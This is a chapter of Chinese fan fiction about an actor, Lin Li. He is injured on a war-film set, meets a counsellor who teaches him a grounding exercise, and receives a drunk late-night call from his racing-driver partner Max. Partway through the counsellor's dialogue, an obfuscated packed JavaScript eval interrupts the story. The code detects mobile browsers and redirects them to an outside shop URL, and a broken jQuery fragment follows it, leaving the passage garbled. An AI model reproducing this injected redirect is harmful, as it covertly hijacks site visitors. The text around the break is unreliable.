林利坐在更衣室的长凳上，低着头慢慢解开飞行服的扣子。每解开一颗，左侧肋骨都传来一阵刺痛，逼得他不得不停下来缓缓，龇牙咧嘴地调整呼吸。


    拍摄时模拟舱晃得太狠了。突然一个剧烈摆动，他整个人被甩到舱壁上，当场就疼得说不出话，但还是咬着牙坚持拍完了。


    结果现在脱个衣服都这么费劲。


    “林？”助理艾米敲了敲门，“收工了，车准备好了……”


    她推门进来，看到林利的样子一愣：“你还没换好衣服吗？”


    林利吃力地侧了侧身子：“刚才撞了一下，使不上力。”


    “哪里？”艾米顿时变了脸色，快步走过来。


    林利指了指左侧：“这里，感觉疼得不太对劲。”


    艾米一把抓起他的背包：“别换了，我们现在就去医院。”


    医生把X光片举到灯箱前。


    “这里，”他指着一条细微的白线，“肋骨有裂纹。不严重，但需要休息至少两周。”


    “我不能休息。”林利皱眉盯着那条裂纹，“工作没办法停。”


    医生从镜片后抬起眼睛：“如果你继续这样高强度折腾，裂纹可能会扩大，到时候就不是休息一阵子能解决的了。”


    “我会小心的。”林利安抚地按住旁边欲言又止的艾米，对医生点点头。


    医生叹了口气，转身坐下写处方：“止痛药一天两次，护具要一直戴着。如果疼痛加剧，及时联系我。”


    “我是认真的。”医生递过单子，“如果不仔细注意，影响会更严重。”


    ……


    “肩膀上提，对，再往后打开一点。”


    片场角落，艾米正举着手册，指导林利做一套疼痛缓解动作。


    卡勒姆晃晃悠悠走过来，瞧见这一幕调侃：“哟，你这动作跟我奶奶似的。”


    林利回了他一个大苦笑，指了指身上：“你知道的。”


    卡勒姆耸耸肩：“所以我来给你安排点别的乐子，今晚一群人在内特房间聚，你来不来？”


    “我有点累……”


    “拜托，别一个人闷着。”卡勒姆说，“大家都快疯了，一起玩玩总不会真出问题。再说你看起来尤其需要放松一下。”


    “九点，别迟到。”他拍了拍林利的肩膀，回头时补了一句。


    “咚咚。”


    林利卡着点敲响内特的房门。


    摇滚乐声轰隆隆传来，屋里已经挤了七八个人。鲍伊正和另外两个人聚在一堆在玩扑克，有人躺在床上刷手机，有人靠着墙灌啤酒。


    “你来了！”内特看到林利，扔过来一瓶啤酒。


    林利又扔了回去：“我吃了药，有别的喝的吗？”


    他在沙发上找了个位置坐下，看着桌上的牌局。


    “三张K。”鲍伊把牌甩在桌面，一脸得意，“你们输了。”


    “滚开。”对面的人笑着骂，“你肯定作弊了。”


    “我哪有。”鲍伊假装无辜，“是你们太菜了。”


    房间里爆发出一阵哄笑。


    内特递给林利一罐汽水，自己坐在地毯上：“今天感觉怎么样？”


    “就那样，还活着呢。”林利摊开双手，“你呢？”


    “累死。”内特翻了个白眼，指着自己发红的脸颊“面罩磨得我脸上都过敏了。”


    “我嗓子都哑了。”鲍伊一边收牌一边插话，“爬进爬出一躺太费劲，搞得我都不敢喝水。”


    “说实话，我们是真不容易。”


    “是啊，重点是还赚不到多少钱。”冷不丁的声音响起，再次惹起一阵哄笑。


    卡勒姆从卫生间出来，甩了甩手上的水珠，大声嚷嚷：“谁把音乐开这么大？”


    “我。”内特斜了他一眼，“怎么了，你有意见？”


    “就是想跳舞了。”卡勒姆突然跟着节奏摆动起来，动作夸张又搞笑，“谁来当我的舞伴？”


    他一把拉起还没反应过来的鲍伊：“来吧！别光坐着！”


    “我不跳，松手！”对方死死挣扎，“我要打牌！”


    “牌等会再打！”


    几个人也被拽起来，在狭小的房间内群魔乱舞。


    林利看着眼前的混乱场面，嘴角不自觉上扬。


    内特坐回他旁边：“感觉好点了吗？”


    “嗯。”林利点点头，“好多了。”


    “就是得这样。”内特看着疯玩的这群人，压低声音，“不然真的会受不了，天天都是那些爆炸、坠机，晚上还睡不好。”


    “你也做噩梦？”林利敏锐地察觉。


    “当然。”内特叹了口气，“前几天梦到自己在着火的飞机里，直接吓醒了。”


    “天啊！”另一个人抬起头，“我也是，而且醒来还能听到那个警报声。”


    “正常。”卡勒姆停下来喝了口啤酒，“心理疏导师说这很正常。”


    他看向林利：“你去见她了吗？”


    “还没，”林利微微侧过头，“好像安排的后天。”


    内特耸耸肩：“去看看吧，她挺好的，会教你一些方法。”


    鲍伊凑过来，一屁股坐在地毯上：“你们在聊什么？”


    “噩梦。”卡勒姆回答。


    “可别提了。”鲍伊做了个鬼脸，“我昨天梦到林吐我一脸。”


    “嘿！”林利瞪了他一眼。


    “不过，”鲍伊收起玩笑，思索片刻，“我们演的角色，他们是真的经历了这一切。零下的温度、真枪实弹、失去生命，都是实实在在发生过的。”


    “所以，如果我们觉得不舒服就对了。”卡勒姆放下酒瓶，“当年的人比我们痛苦百倍。”


    “我们想要演得更好，就得——”他指了一圈在座的人，没再说下去。


    沉默。


    内特率先站起来：“行了行了，别搞得这么沉重。来，换首歌我们继续！”


    ……


    “请进！”


    心理疏导师示意林利坐下：“我是威尔森医生，叫我萨拉就好。放轻松，我们今天只是随意聊聊，不要有太大压力。”


    林利选了靠窗的位置。


    “我对你们的压力略有耳闻。”萨拉递过来一杯花茶，“跟我说说，最近你过得怎么样吧。”


    “我……”林利握着杯子，还没想好怎么说。最近一个月乱七八糟的，有时都分不清自己到底在哪。


    他决定先从剧组聊起：“你知道的，上次大家和导演谈了后，空战戏就被拆散拍摄了。效果还不错，但是还有点别的症状，比如……”


    “比如做噩梦？”


    林利猛地抬头。


    “我也是做了功课的。”萨拉温和地笑了笑，“很多人都有类似的反馈，你都梦到了什么？”


    林利身体不由自主地前倾，眉头皱起：“飞机着火坠落了。我想逃跑，但是动不了，只能拼命喊救命。”


    他低头看向自己紧紧交握的双手。


    萨拉点点头，眼神落在林利身上：“这是闯入性记忆，你的大脑将白天的经历标记为了真实威胁。”她放下笔记本，“我们来做个练习吧。”


    “闭上眼睛，深呼吸——”


    “现在告诉我，你在哪里？”


    “咨询室。”林利闭上眼。


    “坐在什么上面？”


    “一张软椅子。”


    “摸摸扶手。”萨拉语速变得缓慢，“它感觉是什么样？”


    林利指尖划过，一道道细密的绒纹温柔地蹭过皮肤。


    “睁开眼，看看周围。告诉我你看到了什么？”


    “窗户，盆栽，茶杯……”


    “非常好，我们刚才试的这种方法叫落地练


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213963|196580||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    习。”萨拉解释道，“当你感觉自己被战争场景压得喘不过气时，用这个可以告诉自己：我在哪里，我能看到什么，我能摸到什么，将自己拉回现实。”


    “还有一件事，每天睡前可以花5分钟来脱下角色，对着镜子重复一遍你是谁。”


    “大脑需要清晰的信号来完成切换。”她微微颔首，“愿意试试吗？”


    林利复盘了一遍刚才的步骤，点点头：“希望能有所帮助。”


    ……


    6月20日晚。


    距离上次咨询已经过去两周，这期间林利断断续续地做着落地练习，确实缓解了一些。


    不过隐隐作痛的肋骨还是没好全，可能因为这一点，他总觉得没法彻底放松。


    这一晚，他吃了止痛药，很快进入梦境。


    这次是邻侧的飞机被击中，舱内的人拼命往外爬。但坠落得太快了，根本来不及打开跳伞。林利只能眼睁睁看着黑影越来越小，消失在云层下面。


    “嗡——”


    手机在枕边猛地震动。


    林利被惊得吓了一跳，满头是汗，心跳如鼓。


    手机还在震。


    他愣了几秒，才在黑暗中眯着眼看向屏幕：01:51。


    麦克斯这时候打来电话？


    “嘿，是我！你猜怎么着？”麦克斯呼吸混在话音里，哑得几乎听不清。


    林利还没从噩梦中完全清醒，迟钝地回复：“啊？什么？”


    “我赢了！追回来了！第52圈超的他！为巴塞罗那复仇了！”麦克斯兴奋地叽里呱啦不停。


    林利闭上眼睛，用力揉着胀痛的太阳穴。


    “嗯……”


    “你知道吗，两停！我们赌了两停！克里斯蒂安说这是——”


    “麦克斯。”林利打断他，“你喝醉了吗？你在哪？”


    “我还在派对呢，但是没喝多少，真的！”


    “我刚还跟切科学了一句西语，?Chinga tu madre! 怎么样，发音不错吧？我可没醉。”


    天啊，天啊，他都在说些什么，这好像是句脏话吧？


    林利被麦克斯此刻胡言乱语的样子惹得心中无奈。


    “那你告诉我现在几点？”林利看了眼表，没等他回复就接道，“凌晨一点五十三分，我明早六点就要起床。”


    “哦。”麦克斯的声音低了下去，“我忘记了，我太高兴了。”


    他试探着开口：“你听起来心情不太……”


    “我很高兴你赢了。”林利实在提不起精神，“恭喜你。”


    “可是你听起来不是这样的。”麦克斯说，醉酒让他说话拖了点尾音，“阿塞拜疆的时候我都退赛了，你也只发了短信。这次我赢了这么重要的比赛……”


    他顿了顿，声音很是委屈：“你最近都不关心我了。”


    “我知道你忙，我也在比赛，但我还是会主动问你怎么样，会在乎你。可你连视频都不给我打。”


    林利深吸一口气，下意识摸向肋骨处的护具，底下藏着两只小鸟，此刻却也像受了伤一样。


    “麦克斯。”


    “麦克斯！你喝醉了，我们不该在现在这种状态下讨论这些。”


    “我很清醒！”麦克斯固执地反驳，“我只是想和你分享我的心情，你应该要知道我的心情。”


    “你一点也不清醒。”林利无力地重复，声音里压不住的疲惫和不适，“我们现在不说这个了好吗？求你了。”


    沉默。


    “好吧。”麦克斯的声音变了，“那你去睡吧。”


    “等你清醒了，我们再谈。”


    “WHATEVER”


    电话“嘟”的一声挂断。


    林利垂下手臂，盯着黑掉的屏幕。


    唉。


    他把手机扔在床头。